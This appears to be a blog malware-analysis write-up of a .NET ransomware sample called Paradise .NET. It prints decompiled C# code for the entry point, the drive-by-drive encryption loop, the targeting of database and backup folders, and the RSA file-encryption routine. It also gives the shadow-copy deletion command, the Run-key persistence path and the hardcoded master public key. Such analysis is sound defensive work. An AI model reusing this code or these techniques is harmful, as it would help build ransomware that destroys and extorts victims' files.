iskaluz Ransomware
- 9 minsToday i wanna talk about a another .NET ransomware that @fbgwls245 on twitter found named as Paradise .NET
MD5: 307E85BC807B88E3E2C95BDFC3BEDDE4
A basic knowledge about the sample
TimeStamp: 2022-01-17 16:28:02
A 32bit .NET(v4.0.30319)[-] Executable file
PDB not found
Let’s talk about this ransomware though
It’s ransom letter looks kinda this
named as “#DECRYPT MY FILES#.txt”
- It Uses RSA-1024 for encryption of files with the system generated public RSA key and then encrypts the PrivateRSA Key with the stored masterPublic RSA key which is also RSA-1024
Stored MasterRSA Public Key:
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQD2NsbRUCBtLdSjgkyuLC+SvrRC
FK8QeVTdtbILtE8QDTb4yCimMbLdCNQHNa0tGBrd/Vix2u70ZvmybzIEurn1IPi0
q3vNu0+nb5V8FucJim7VoQYw15DeLjZ9gd5cVFN2XbpaqJ1DsW5lWVtjII5f43Cu
FmsrNtlU08/E8wrerQIDAQAB
-----END PUBLIC KEY-----
- It uses PKCS#1 v1.5 as padding
- It deletes shadow volumes with “cmd.exe /C sc delete VSS”
- It creates for autorun for persistance as let’s say the encrytion is stopped somehow in between so it will restart the encryption
that is it creates a reg key "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" in HKLM to create persistance with key DP_Main and value C:\Users\[username]\AppData\Roaming\DP\DP_Main.exe
Cool let’s start from start:
This is is how it’s entrypoint looks
Main Function
private static void EntryPoint(string[] args)
{
try
{
IntPtr consoleWindow = mainClass.api_imports.GetConsoleWindow();
mainClass.api_imports.ShowWindow(consoleWindow, 0);
string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
if (File.Exists(folderPath + Encoding.UTF8.GetString(Convert.FromBase64String("XERQXHdlbGxkb25lLmRw"))))
{
Environment.Exit(0);
}
else
{
if (args.Length == 0)
{
bool flag = mainClass.writes_runs_as_admin();
if (flag)
{
int num = mainClass.checks_if_process_main_is_running();
if (!mainClass.returns_true_if_admin())
{
mainClass.dp_main_runas();
}
int num2 = mainClass.checks_if_process_main_is_running();
if (num2 > num)
{
Environment.Exit(0);
}
}
}
if (!mainClass.check_if_file_has_already_run_once())
{
mainClass.system_rsa_key_create();
mainClass.MasterRSA.FromXmlString(mainClass.RSA_MasterPublic);
mainClass.rsa.FromXmlString(mainClass.RSA_Public);
mainClass.private_key_encrypt_and_store();
while (mainClass.LockerForValidKey)
{
}
mainClass.setting_persistance();
mainClass.deletes_shadow();
}
mainClass.text = mainClass.text.Replace(Encoding.UTF8.GetString(Convert.FromBase64String("JUtFWSU=")), mainClass.CryptedPrivateKey);
mainClass.adding_drives_to_driveinfoque();
mainClass.encrypter_wrapper_main_main();
File.WriteAllText(folderPath + Encoding.UTF8.GetString(Convert.FromBase64String("XERQXHdlbGxkb25lLmRw")), Encoding.UTF8.GetString(Convert.FromBase64String("RG9uZQ==")));
Environment.Exit(0);
}
}
catch (Exception)
{
}
}
Though it does not looks like this a bit obfuscated or renamed! Cool let’s just follow up the above code
- Initially it asks for consolewindow and sets it 0 so its not shown
- Then it checks for the file
C:\Users\[username]\AppData\Roaming\DP\welldone.dpthis file is created when the process is completed and writes “Done” in the file welldone.dp which is set at last through File.WriteAllText() function - Then it will start the process as Admin with the help of
processInfo.Verb = "runas";if not it will exit. - Then it will check if file has already ran once or not by finding the file
DecryptionInfo.authwhich contains the public RSA key used for file encryption and encrypted private key - Let’s take if the decryption info file is not present then it will create new rsa keys and will store in file Decryptioninfo.auth with function “private_key_encrypt_and_store” where it will create “DecryptionInfo.auth” and store
- Base64 encoded encrypted private key and
- XML format RSA_public key
It will store it in two folders
- Documents folder
- DP folder in ProgramFiles(x86)
- Next for setting persistance it will create registry key and create a file in
C:\Users\[username]\AppData\Roaming\DP\DP_Main.exe - Then it will delete the shadow backup copies through “deletes_shadow”
- Next part is where it will create a Queue of all the drives in your system and will store it in your system.
Cool now comes the main encryption part!, Exiting!
The two main codes:
private static void encrypter_wrapper_main_main()
{
try
{
mainClass.encrypter_wrapper_main();
while (mainClass.Drives.Count != 0 && mainClass.Drives != null)
{
string text = Encoding.UTF8.GetString(Convert.FromBase64String(""));
text = mainClass.Drives.Dequeue();
if (!string.IsNullOrEmpty(text))
{
mainClass.encrypt_and_ransom_dropper(text);
}
}
mainClass.desktop_encrypter(Environment.GetFolderPath(Environment.SpecialFolder.Desktop));
}
catch (Exception)
{
}
}
private static void encrypter_wrapper_main()
{
mainClass.encrypt_and_ransom_dropper(Directory.GetCurrentDirectory());
foreach (string path in mainClass.Drives)
{
mainClass.recursive_sql_encrypter(path);
}
}
These two are the main wrappers of the encryption code:
One thing to notice the recursive_sql_encrypter It basically generates an array for Databases/backup
string[] array = new string[]
{
Encoding.UTF8.GetString(Convert.FromBase64String("bXlzcWw=")), //mysql
Encoding.UTF8.GetString(Convert.FromBase64String("ZmlyZWJpcmQ=")), //firebird
Encoding.UTF8.GetString(Convert.FromBase64String("IG1zc3Fs")), //mssql
Encoding.UTF8.GetString(Convert.FromBase64String("bWljcm9zb2Z0IHNxbA==")), // microsoft sql
Encoding.UTF8.GetString(Convert.FromBase64String("YmFja3Vw")) //backup
};
and while looking for directories, if it finds them it will encrypt it
Okay now the main encryption code:
Encryption Code:
private static void main_encrypter_and_filename_changer(string file, RSACryptoServiceProvider ThRSA)
{
if (!File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Personal) + Encoding.UTF8.GetString(Convert.FromBase64String("XA==")) + mainClass.result22))
{
mainClass.P0MNKUU55F();
return;
}
try
{
FileInfo fileInfo = new FileInfo(file);
if (fileInfo.Extension != mainClass.CryptedExtension && !fileInfo.FullName.Contains(Encoding.UTF8.GetString(Convert.FromBase64String("I0RFQ1JZUFQgTVkgRklMRVMjLnR4dA=="))) && fileInfo.Name != Encoding.UTF8.GetString(Convert.FromBase64String("RGVjcnlwdGlvbkluZm8uYXV0aA==")) && fileInfo.Extension != Encoding.UTF8.GetString(Convert.FromBase64String("LmRw")))
{
List<byte[]> list = new List<byte[]>();
List<byte> list2 = new List<byte>();
if (fileInfo.Length / 1024L > 64L)
{
list = mainClass.could_be_file_reader(file, 547);
}
else
{
int blocks_count = Convert.ToInt32(fileInfo.Length / 117L);
if (fileInfo.Length < 117L)
{
list.Add(File.ReadAllBytes(file));
using (FileStream fileStream = File.OpenWrite(file))
{
fileStream.SetLength(0L);
goto IL_137;
}
}
list = mainClass.could_be_file_reader(file, blocks_count);
}
IL_137:
if (list != null)
{
foreach (byte[] rgb in list)
{
byte[] collection = ThRSA.Encrypt(rgb, false);
list2.AddRange(collection);
}
File.AppendAllText(file, Encoding.UTF8.GetString(Convert.FromBase64String("PENSWVBURUQ+")) + Convert.ToBase64String(list2.ToArray()) + Encoding.UTF8.GetString(Convert.FromBase64String("PC9DUllQVEVEPg==")), Encoding.Default);
File.Move(file, string.Concat(new string[]
{
file,
Encoding.UTF8.GetString(Convert.FromBase64String("W0VtYWlsXS5b")),
mainClass.mail,
Encoding.UTF8.GetString(Convert.FromBase64String("XQ==")),
mainClass.CryptedExtension
}));
File.Delete(file);
}
}
}
catch (Exception)
{
}
}
- Initally i don’t why it creates a random file of 0 bytes i guess just for checking if it can create a file or not otherwise it will exit
- It will not encrypt files that have the encrypted extension that is “.iskaluz” or the file is DecryptionAuth or RansomLetter or has extension .dp
- It will use normal Encrypt function with PKCS padding
- After encryption it will rename / move the file to the name
[Email].[[email protected]].iskaluz - Encryption format is
\<cryted> encrypted data <\/cryted>
This is all for this file encryption last is done in block length of 547
That’s all